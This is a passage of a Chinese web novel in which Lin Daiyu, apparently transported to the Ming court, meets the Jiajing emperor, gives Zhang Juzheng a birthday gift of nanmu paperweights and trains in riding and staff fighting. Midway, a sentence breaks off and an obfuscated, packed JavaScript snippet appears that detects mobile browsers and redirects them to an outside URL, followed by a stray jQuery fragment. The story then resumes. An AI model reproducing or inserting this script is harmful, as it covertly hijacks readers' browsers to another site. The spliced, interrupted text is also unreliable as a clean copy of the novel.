嘉靖帝舒展了眉头,眼前花草为饰的小姑娘,透着一股清新自然,灵动逼人。他不由想起自己两岁的长女来,一分怜爱之意油然而生。
转脸吩咐内侍道:“今天是女儿节,你去曹端妃那儿,替朕送个花冠给大公主。”
内侍领命而去,黛玉想起这位大公主后来未笄而夭,一时心酸。
嘉靖帝是个薄情寡义的君王,待阁臣如驱刍狗,三位皇后接连惨死,随意打杀内侍宫女,想想就让人不寒而栗。
他对儿女一样刻薄无情,身为君父最后八子七绝,五女三夭,也让人唏嘘不已。
今次想起来给女儿送个花冠,可谓是千载难逢的恩典了。
之后,嘉靖帝又赐了一匹红地妆花纱给黛玉。
总算有惊无险地结束了面圣,黛玉拜谢再三,同顾璘一道退步出宫。
觉察到表舅脸上压抑着愠色,黛玉一路低头默然而行。她虽然不曾狂妄到当面大批龙鳞,也算是虚晃一枪,含而不露地撩了虎须一把。
张居正在宫门前翘首以盼,直到夕阳西下,她舅甥二人才快步出来,不由松了一口气,放开了攥出满手汗的拳头。
“大人,皇上召见妹妹所为何事?”
顾璘叹道:“回去再说。”
回到顾府将近黄昏,史湘云已经回去了,胡宗宪与沈炼二人还未离开。
顾璘心里存着事,没有与他二人详谈,只说了一句:“二十三日好好考庶吉士。吏部观政期长则三年少则半载,候职的事不急,这两年递补的官缺不少。”
得到了想要的消息,二人道谢后,留下拜礼告辞了。
黛玉被表舅带到了书房,舅甥俩隔着梨花大案默然对峙着。
望着小姑娘娇美可人的新鲜打扮,顾璘那双隐忧含怒的眼眸里,涌入了些许爱怜之色。若是此事临到他头上,也未必能像她一样,处理得游刃有余,滑不留手。
但是仅此一役,已是如履薄冰,往后万不能再纵了她,顾璘故意沉着嗓子道:“今日这事稍有差池,会是什么后果你知道吗?”
黛玉老实点头,“知道。”
正因为知道,一词一句的对答,都是她精心设计的。从严嵩提及李商隐开始,她就在一点点为他设置言语陷阱了。以童女的稚拙真诚,反衬出严嵩的奸滑懦弱。
在皇权至上的时代,权力斗争的第一步,都是从一点点破坏上位者对臣子的信任开始。
嘉靖至隆庆朝间,内阁的斗争一直没有间断过。严嵩是这样斗败了夏言,徐阶是这样斗败了严嵩,高拱是这样斗败了徐阶,张居正也是这样斗败了高拱。正因为她的身份,无法涉足朝政,才要抓住一切机会,阻止奸臣上位。
一句“知道”便是明知山有虎偏向虎山行的意思了。顾璘想起,近来陆炳对他说的那些云山雾罩的话,再看今日黛玉的机变,他隐约明白了些什么。
“姑娘家太聪明了,并不是好事,若抱着书生意气去涉险,那这书不读也罢。若有下次……”
黛玉忙道:“今日得见天颜,实属三生有幸,大概也没有下次了。”
顾璘无可奈何地叹了一声,“唉,梳洗一下去吃饭吧。”
黛玉回到潇湘馆,才想起还未将生日贺礼送给张居正,连吃饭梳洗也顾不上,忙吩咐紫鹃将人请到垂花门下。
廊下灯影憧憧,流萤争光,花枝间暗香浮动。
张居正挑灯站在垂花门外,胸中也是生了一团火,看她含笑捉弄流萤的样子,又觉得喉间堵得慌,有气发不出来。
顾大人方才对他讲了林妹妹在万春亭中的一言一行。
这个娇花弱柳一样的小姑娘,怎么敢在虎狼环伺的宫中以一挑三?先刺陆炳,再讽皇帝,后讥严嵩,简直不要命了。
他无奈地扯了扯嘴角,难保不是因为预先知道,他张首辅将来能挽天倾,才让她有了蚍蜉撼树的勇气,也不知此时该喜还是忧。
“二哥哥,生辰吉乐!”黛玉笑着将怀中抱着的长锦盒,递了过来。
张居正接过锦盒,只觉沉甸甸的,不由问:“什么东西,这么沉?”
黛玉双手负后,娇笑道:“是一对儿楠木镇纸。”
“就送我两根木头啊……”他还以为是手帕荷包、扇套鞋袜之类,可随身穿戴的针线,为此巴巴地等了半个月。
听他话里还表露出两分嫌弃的意思,黛玉冷嗤一声道:“这两根木头可贵了!加上精工雕花,费了我八两银子呢!”
“都说楠香寿人,久嗅香楠之气,可延年益寿,还旺家宅人丁。代表妹妹衷心祝愿哥哥长命百岁,将来子嗣昌隆。”黛玉解释完,气鼓鼓地向他摊开掌心,“你既不领情,那就还给我吧!”
“既送了我,断无收回去的道理。”张居正将锦盒抱在怀中,生怕她抢回去似的。
他秀眉轻扬,提灯照在她脸畔,眸中含笑道:“双木成林,这一对木头,就当是妹妹把自己托付于我。咱们以后孟不离焦,焦不离孟,一辈子相依相扶。”
橘黄的灯光映在脸上,多了几分旖旎柔情,黛玉不觉心头暖热,将一缕碎发别在耳后,低头嗔道:“我才不是木头,我是绛珠草……”
她颊上的绛珠草纹明媚含光,张居正不觉伸手在她鬓边拂了一下,“你不是草,是我的妹妹我的宝。”
黛玉美目转盼,嗤的一声笑了,“谁是你的宝?又不是一个衣胞里生出来的。”
“妹妹这么说就跟我生分了。”张居正有些不开心。
黛玉怅然一叹:“不是我有心同你疏远,而是男女有别。焦赞孟良都是男子,交情深厚形影不离,自然传为佳话。你我怎能一样?三五年后我嫁你娶,各立门户,迟早也要生分的。”
夜风吹过花枝,扑散一群流萤,荧光忽明忽暗。道破真相之后,两人陷入了长久的沉默,他们之间的友谊,终归似短暂的萤火,无法永续。
“我先走了,二哥哥快回去吃饭吧。”黛玉取回灯笼,正待转身离去。
忽听张居正道:“楠香寿长,你好像很怕我短命?难不成你预知我会英年早逝?”
“呸,大生日大节下的,胡说什么……”黛玉忙抬手捂住他的嘴避谶,改说吉利话,“早起早睡,长命百岁。千年王八万年龟,鹤龄松寿福永随。”
张居正见她着急微恼的样子,忍不住握住她的手捻了两下,轻轻放开。
“我许你两个承诺,复兴大明,活过百岁。”尽管难以实现,却甘心豁出一切,为她努力一把。
“好,我先替万千百姓谢谢你了。”夏夜流萤闪烁,伴着少女雀跃的身影轻舞飞扬。
五月末考选庶吉士的结果出来了,沈炼与胡宗宪二人没有考上,就连夏淑清的未婚夫,二甲第十名的吴舂,也没能考上。三百二十名进士才择选三十名庶吉士,可见考选之难。
展眼到了六月,天气越发热了。顾鼎臣授课的内容也日益精深,除义理、史传外,还涉及朝堂大事,水利、农政、边备、吏治、救灾、节用、抗倭、海贸等诸多议题。
黛玉渐渐发现,这位史书上被忽略
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15415412|167052||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
的“过渡首辅”顾鼎臣,野心不在朝堂而在治学。虽然他许多想法蹈袭古人,但“经世致用”的理念一直贯穿始终,超越时人远矣。
为了辅助张居正完成“活过百岁”的目标,黛玉每天上课前下学后,都要给他把个平安脉,适时让他调整饮食,按需进补。
张居正要写文的时候,黛玉便帮他研墨、铺纸、添香、洗笔。
本该是穿纱衫的时节,为了方便骑马习武,黛玉硬是穿了一个月的缚袴。
站桩桥马时,张居正就站在她身旁,一手持卷看书,一手拿大蒲扇给她扇风。悬臂摆荡时,张居正就引导她背书联句。
陆绎看不惯,冷嘲热讽了几句,两位同窗依旧我行我素,无论是学问上还是生活中,旁若无人地互帮互助,亲密无间。
这倒也不是不能忍,最让他着恼的是那个史三公子,每每借教林潇湘骑马之由,不是勾肩搭背,就是耳鬓厮磨,活像是话本里的契兄弟。
简直有辱斯文,伤风败俗!陆教头便是忍不住骂了他们两句,他俩还偏要手拉手在自己眼前晃荡,真真气死人了!
经过史湘云一连两个月的教学,黛玉已经基本掌握了骑术。
她们与陆家的小千金陆婉儿也相熟起来。陆婉儿尤其喜欢林潇湘,时常抱着林檎果,摇摇摆摆地跑过来,甜甜笑着,“林哥哥吃林檎!把婉儿举高高!”黛玉从不拒绝婉儿的请求,每每将她举过头顶,逗她开心。
之前史湘云去信给父亲史道,警备俺答六月寇边,这次的袭扰很快被反击回去。大同巡抚史道也因御敌有功,被嘉靖帝褒奖。
再过两日,湘云就要回河北涿州。黛玉特意陪她在京城逛了逛,买了好多糕点和精巧玩意送给她。
又告诉她道:“今年夏秋之季大同久旱无雨,你可去信给令尊,让他趁梅雨季抓紧修陂塘,建围堰,储备农田用水。就说是顾大学士占卜出来的。”
史湘云点点头,依依不舍道:“好不容易遇见你,这么快就要分别了……”
黛玉安慰她道:“明年二月嘉靖帝南巡,我要随表舅伴驾回湖广,途径涿州时咱们再见一面吧。”
“嗯。”史湘云辞别黛玉,踏上了回家的马车。
见史三公子走了,最开心的人要属陆绎了,只觉得自家演武场中,少了一个聒噪的话口袋,连扑鼻黄沙都觉得清新了几分。
他终于能恢复陆教头的权威,开始教徒弟齐眉棍了。
陆绎一边讲解招式一边演示,察觉到林潇湘不错眼地盯着自己,也不再废话,将一套棍法舞得虎虎生威。
却看到正哥又摇着大蒲扇,凑到林潇湘身旁勾他说话,刚好错过了自己炫技的精彩部分。
陆绎不忿,手中长棍横扫而出,带起飞尘一片,向他二人之间的空隙劈来。
黛玉反应迅捷,一个后空翻避开,张居正身形未动抬手挥扇,及时挡住了劈头盖脸的黄沙。
“动作慢了点。”陆绎收回长棍杵在地上,装模作样地掸了掸身上的灰。
张居正皱了皱眉,背身撮起一扇子沙,回头冷不丁地拍在他头上,漠然道:“阿绎,你大意了。”
“咳咳……”陆绎猛咳了几下,狂甩头发上的沙,不甘心地大呼小叫,“正哥,哪有你这样突袭的!”
他抄起长棍想报复回去,忽见身侧斜出一棍,如蛟龙探海,将他的长棍高高架起。
“谁?”陆绎咬牙力拼却无济于事,眼睁睁地看着手中长棍被挑飞。
回头一看苦笑:“爹……”